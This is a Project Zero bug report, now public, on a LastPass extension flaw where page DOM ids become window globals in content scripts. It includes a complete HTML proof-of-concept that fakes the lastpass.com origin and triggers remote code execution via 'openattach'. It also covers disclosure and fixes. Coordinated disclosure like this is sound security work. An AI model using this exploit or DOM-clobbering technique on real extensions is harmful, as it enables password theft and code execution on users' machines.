New issue
Advanced search Search tips
Starred by 17 users
Status: Fixed
Owner:
Closed: Mar 2017
Cc:



Sign in to add a comment
LastPass: global properties can be modified across isolated worlds, allowing remote code execution
Project Member Reported by taviso@google.com, Mar 25 2017 Back to list
A major part of the LastPass password manager is content scripts, additional privileged javascript that is injected into pages and can change or monitor content. LastPass use content scripts to search webpages for forms, add additional UI elements, and so on. The reason that it's safe to have content scripts with higher privilege than the page they're injected into is a concept called "isolated worlds". An isolated world is a javascript execution environment that shares the same DOM , but not variables and functions and so on.

Without isolated worlds, unprivileged pages could interfere with higher privileged scripts, and make them do whatever they want.

https://developer.chrome.com/extensions/content_scripts#execution-environment

It's important to remember that isolated worlds don't mean it's impossible to write insecure content scripts, it just means that it *is* possible to write secure content scripts; without isolated worlds it would be impossible.

https://developer.chrome.com/extensions/content_scripts#security-considerations

Consider an example content script like this:

var trusted=false

document.body.addEventListener("click", function() {
    if (trusted) {
       eval(window.location.hash.substr(1))
    }
});

This is safe to inject unto untrusted pages, because pages cannot interfere with the value of the variable `trusted`, so cannot make the privileged script eval() something malicious.

Do we really need to declare the variable trusted? In JavaScript, it will simply be undefined, so couldn't we just do this?

document.body.addEventListener("click", function() {
    if (typeof trusted != "undefined") {
       eval(window.location.hash.substr(1))
    }
});

The answer is that we really do need to declare it. This is because although the page cannot define variables, the isolated worlds *do* share the same DOM, and DOM element ids automatically become properties of window.

https://html.spec.whatwg.org/#named-access-on-the-window-object

This means that the example script above is *insecure*, an exploit would simply look like this:

el = document.createElement("exploit")
el.setAttribute("id", "trusted");
document.body.appendChild(el);

Now window.trusted is not undefined, and we can take over the privileged content script.

It looks like LastPass did not know that this was the case, because it's a common pattern in their extension to have a set of global flags that are undefined unless used. Here are some examples:

function lp_init_tlds() {
    "undefined" != typeof lp_all_tlds && null != lp_all_tlds || (lp_all_tlds = new Array)
}

if ("undefined" != typeof g_sitepwlen && void 0 !== g_sitepwlen[e])
    return g_sitepwlen[e];

"undefined" != typeof lpformfills && 0 == lpformfills.length && !m) {
            if (A) {
                var w = A.contentDocument;
                w && (w.m_abortedFormFillChecking = !0)
            }
            return !1
}

etc.

This is a very common pattern in LastPass, with hundreds of examples. This will require a considerable cleanup effort to find all cases where global properties are unsafely trusted.

Because untrusted websites can influence a bunch of codepaths in LastPass, it is very easy to turn this into remote code execution. I've created one example, but there are hundreds of places where attackers can influence codepaths in the LastPass extension that need to be cleaned up.

**********************
NOTE: Please ***do not*** release a patch until you're confident all cases have been fixed. Releasing a patch that just fixes the single case that I've made a demo for will make it very easy to identify the vulnerability and for someone to simply exploit any of the hundreds of others of cases where you've made this mistake. Please communicate with me on your plan to release fixes so that we can make sure the process goes smoothly. We will not release vulnerability details until *either* a patch is available or 90 days expire.
**********************

LastPass allows users to customize some settings from their online vault on lastpass.com. Their website communicates with the extension through a <form> with the special name "lpwebsiteeventform".

Here is the code that handles that, from onloadwff.js:

function handle_form_submit(e, t) {
...
    try {
        if ("lpwebsiteeventform" == t.name)
            lpwebsiteevent(e, t);
        else if ("lpmanualform" == t.name)
            lpmanuallogin(e, t);
        else {
...

This is secure, because they verify that the form is on one of the trusted domains "lastpass.com" or "lastpass.eu"

function lpwebsiteevent(e, t) {
    if (!lp_url_is_lastpass(document.location.href))
        return !1;
...

How does lp_url_is_lastpass() work?

function lp_url_is_lastpass(e) {
    if (null == e)
        return !1;
    var t = /^https:\/\/([a-z0-9-]+\.)?lastpass\.(eu|com)\//i
      , n = "https://lastpass.com/";
    if ("undefined" != typeof base_url && (n = base_url),           <-- XXX
    0 == e.indexOf(n) || 0 == e.indexOf("https://lastpass.com/") || 0 == e.indexOf("https://lastpass.eu/"))
        return !0;
    if ("undefined" != typeof g_loosebasematching) {                <-- XXX
        var i = lp_gettld_url(e);
        return new RegExp(i + "/$").test(base_url)
    }
    return t.test(e)
}

That seems reasonable, but look at the lines marked "XXX", global flags that might be undefined!

g_loosebasematching is a boolean flag, so just making it defined is enough. The untrusted page can do that like this

el = document.createElement("exploit")
el.setAttribute("id", "g_loosebasematching");
document.body.appendChild(el);

But this still requires us to define base_url, and that is a string not just a boolean flag. An attacker can insert DOM elements and make base_url defined, but you can't make base_url.toString() contain anything useful, it will always have the value "[object SomeHtmlElement]". Even if we create ES customElements or make a class that extends HTMLElement, that wouldn't be reflected on other isolated worlds.

> el = document.createElement("exploit")
<exploit>​</exploit>​
> el.setAttribute("id", "base_url")
> document.body.appendChild(el)
<exploit id=​"base_url">​</exploit>​
> base_url.toString()
"[object HTMLUnknownElement]"

I don't believe there is anyway to override HTMLElement.toTagString() that will work across isolated worlds, and all elements (HTMLTableElement, HTMLImageElement, HTMLUnknownElement, etc) work this way.

Well....there is one exception! HTMLAnchorElement.toString() works differently! 🙂

> el = document.createElement("a")
<a>​</a>​
> el.setAttribute("href", "//hello")
> el.toString()
"http://hello/"

This means we can convince the extension that any website is https://www.lastpass.com! So what kind of things can we do with lpwebsiteevent()?

There are a bunch of privileged RPCs that let you send arbitrary parameters, here are some of them:

 "keyplug2web"
 "getversion"
 "setdefaultloginusername"
 "openlogindialog"
 "getdebuginfo"
 "keyweb2plug"
 "logoff" 
 "logout"
 "login" 
 "rsadecrypt" 
 "rsaencryptmultiple" 
 "clearcache" 
 "getimportdata"
 "recover" 
 "getloggedin"
 "switchidentity" 
 "getuuid"
 "setuuid"
 "clearuuid" 
 "setupmultifactor" 
 "setupsinglefactor" 
 "checkmultifactorsupport" 
 "verifymultifactor" 
 "multifactorauth"
 "multifactorreprompt"
 "gohome" 
 "lpgologin" 
 "checkattach" 
 "getattach"
 "openattach" 
 "saveattach" 
 "setboolpref" 
 "request_native_messaging" 
 "checkduo" 
 "auto_pwchg" 
 "auto_pwchg_batch_alive"
 "support_pwchg"
 "kill_batch_background"
 "auto_pwchg_batch" 
 "support_pwchg_batch" 
 "auto_pwchg_hide"
 "auto_pwchg_status_update_ack" 
 "get_browser_history_tlds" 
 "starttrial" 
 "get_plugin_capabilities" 

Many of these allow you to steal passwords, perform Universal XSS (i.e. compromise any website), but I recognize "openattach" from issue 1209, it allows arbitrary remote code execution.

Let's see how the parameters work:

...
"openattach" == t.eventtype.value ? sendBG({
        cmd: "openattach",
        attachkey: t.eventdata1.value,
        data: t.eventdata2.value,
        mimetype: t.eventdata3.value
...

OK, so we can just copy the parameters from issue 1209 and do this:

<html>                                                                                                                                                                                                                                                      
<head>                                                                                                                                                                                                                                                      
<script>                                                                                                                                                                                                                                                    
function start() {                                                                                                                                                                                                                                          
    x = document.createElement("a");                                                                                                                                                                                                                        
    x.setAttribute("id", "base_url");                                                                                                                                                                                                                       
    x.setAttribute("href", "//" + document.location.hostname);                                                                                                                                                                                              
    document.body.appendChild(x);                                                                                                                                                                                                                           
    exploit.submit();                                                                                                                                                                                                                                       
}                                                                                                                                                                                                                                                           
</script>                                                                                                                                                                                                                                                   
</head>                                                                                                                                                                                                                                                     
<body onload="start()">                                                                                                                                                                                                                                     
<exploit id="g_loosebasematching" />                                                                                                                                                                                                                        
<form id="exploit" name="lpwebsiteeventform">                                                                                                                                                                                                               
    <input type="hidden" name="eventtype" value="openattach">                                                                                                                                                                                               
    <input type="hidden" name="eventdata1" value="d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec">                                                                                                                                        
    <input type="hidden" name="eventdata2" value="!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==">                                                                                                                                                      
    <input type="hidden" name="eventdata3" value="other:./../../../../../Desktop/exploit.bat">                                                                                                                                                              
<form>                                                                                                                                                                                                                                                      
</body>                                                                                                                                                                                                                                                     
</html>                                                                                                                                                                                                                                                     
                   
I uploaded the demo here, it's also attached for reference: 

https://lock.cmpxchg8b.com/chaiThe5/lastpass.html

(The demo only works on Chrome with Windows and the Binary component, **other** browsers, settings and platforms work, I just haven't written a demo)

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
lastpass.html
1.5 KB View Download
Windows 10-2017-03-25-12-03-46.png
143 KB View Download
Comment 1 Deleted
Comment 2 Deleted
Comment 3 Deleted
Project Member Comment 4 by taviso@google.com, Mar 26 2017
I made some minor changes to the demo so that it works in Firefox on Windows as well as Chrome. The same code exists for all browsers though, so it probably works on all platforms and browsers with minor tweaks.
Project Member Comment 5 by taviso@google.com, Mar 26 2017
Description: Show this description
Project Member Comment 6 by taviso@google.com, Mar 26 2017
Project Zero team member jannh@ suggested they could use a script like this to help them track down more unsafe usages. That sounds really useful, I forwarded the idea on to lastpass.

(function() {
    const proxy = new Proxy(Object.create(null), {
        get: function(target, property, receiver) {
            if (property == Symbol.unscopables)
                return null;
            if (Object.prototype.hasOwnProperty.call(window, property))
                return window[property];
            if (!Reflect.has(EventTarget.prototype, property))
                throw new Error(`global ${property} not found`);
            return Reflect.get(EventTarget.prototype, property, window);
        },
        set: function(target, property, value, receiver) {
            window[property] = value;
        },
        has: function(target, property) {
            return true;
        }
    });
    with (proxy) {
        // normal code here
    }
})();
Project Member Comment 7 by taviso@google.com, Mar 26 2017
Jann also points out that content scripts probably do not need window[id] to work, and it might be worth discussing it with the major browsers when this is public.

It does seem likely other developers have made the same mistake, and seems impossible anybody would be relying on it in a content script. If someone really wants it, maybe it could be opt-in in extension Manifests.
Project Member Comment 8 by taviso@google.com, Mar 27 2017
I spoke to some security engineers from LastPass.

* They confirm the issue and have a team working on fixes.
* As suspected, this is going to be a big cleanup for them, but they're aiming for next week. ("It looks like over 3000 instances of this issue to fix through all our projects")
* They're planning to publish some generic advice to their users, and push a mitigation that *just* breaks the openattach trick I've been using.
    - I confirmed that's fine, that wouldn't give any clues about the vulnerability. So long as we're clear it's still exploitable.
* We discussed how it seems likely other people have made this mistake, and that it seems prudent to check other popular extensions.
    - I agreed, and said I plan to check the top ~20 popular extensions next week.
* They said this should have been explicit in the documentation.
    - I agree, once the issue is resolved I'll find someone from Chrome to talk to about updating the documentation, as well as asking if we can disable this for content scripts.



Project Member Comment 9 by taviso@google.com, Mar 27 2017
LastPass made a short announcement on their blog this morning:

https://blog.lastpass.com/2017/03/security-update-for-the-lastpass-extension.html/


Project Member Comment 10 by taviso@google.com, Mar 27 2017
I found the top ten popular extensions on the chrome web store this morning from an internal dashboard.

Many extensions do make this mistake, but none struck me as security issues that needed to be formally disclosed. Many allow untrusted web pages to disrupt an extension's operation or make it display garbage or throw an exception, but I do not consider that a security issue.

I cannot reasonably go through all extensions though, so hopefully authors will see this announcement and check their own code.
Project Member Comment 11 by taviso@google.com, Mar 28 2017
Update from LastPass, it looks like they're nearly ready to release updates:

"We've implemented both the Proxy method you shared, and an automatic replacement of all global variables with a prefix container variable as two different work streams.   Both methods look like they'll be successful and resolve the core issue.  We may include both changes for extra depth."

We also discussed how it's a nightmare to synchronize extension updates across different stores.

I suspect Chrome/Microsoft/Mozilla stores will be okay, but I've never seen Apple budge on expediting critical security updates for Safari extension.

I'm not sure if we're going to have to delay updates for other browsers while we wait for Apple or not (it can take weeks for them to approve updates...).

Project Member Comment 12 by taviso@google.com, Mar 30 2017
I thought it was worth nothing that we can even create something that looks like an Array of strings across worlds by defining multiple HTMLAnchorElements with the same id.

This would create a HTMLCollection, and each element would have an attacker controlled toString() method. This seems like it might be useful in other similar vulnerabilities.

> el1 = document.createElement("a")
> el1.setAttribute("id", "foobar")
> el2 = document.createElement("a")
> el2.setAttribute("id", "foobar")
> el2.setAttribute("href", "//blah")
> document.body.appendChild(el1)
> document.body.appendChild(el2)
> foobar
[a#foobar, a#foobar]
> foobar[1].toString()
"http://blah/"

Project Member Comment 13 by taviso@google.com, Mar 30 2017
Although HTMLAnchorElement has to be a valid URL, the format is pretty relaxed...

> a.href="foobarbazfoobarbaz:;,/[]@#1"
"foobarbazfoobarbaz:;,/[]@#1"
> a.toString()
"foobarbazfoobarbaz:;,/[]@#1"
Project Member Comment 14 by taviso@google.com, Mar 30 2017
LastPass sent me a pre-release build to test, their fix looks comprehensive.

They did decide to implement Jann's Proxy() solution, which I think is quite elegant.

They've also implemented some additional mitigations, and have a plan ready for updates (still on schedule for this week).

Really impressed with their response to this complex issue.
Project Member Comment 15 by taviso@google.com, Mar 30 2017
Description: Show this description
Project Member Comment 16 by taviso@google.com, Mar 31 2017
Labels: -Restrict-View-Commit
Status: Fixed
It looks like the Chrome updates are live, I've been told this would be updated last so it looks like this is now resolved.

(I agreed to wait a few hours for the extension stores to sync before making this issue public).

(Fixed in Chrome for >= 4.1.45 and Firefox >= 4.1.44a)
Project Member Comment 17 by taviso@google.com, Apr 1 2017
For future reference, foo.bar can be made to resolve with a <form> element with a child <input> element with name=bar.
Sign in to add a comment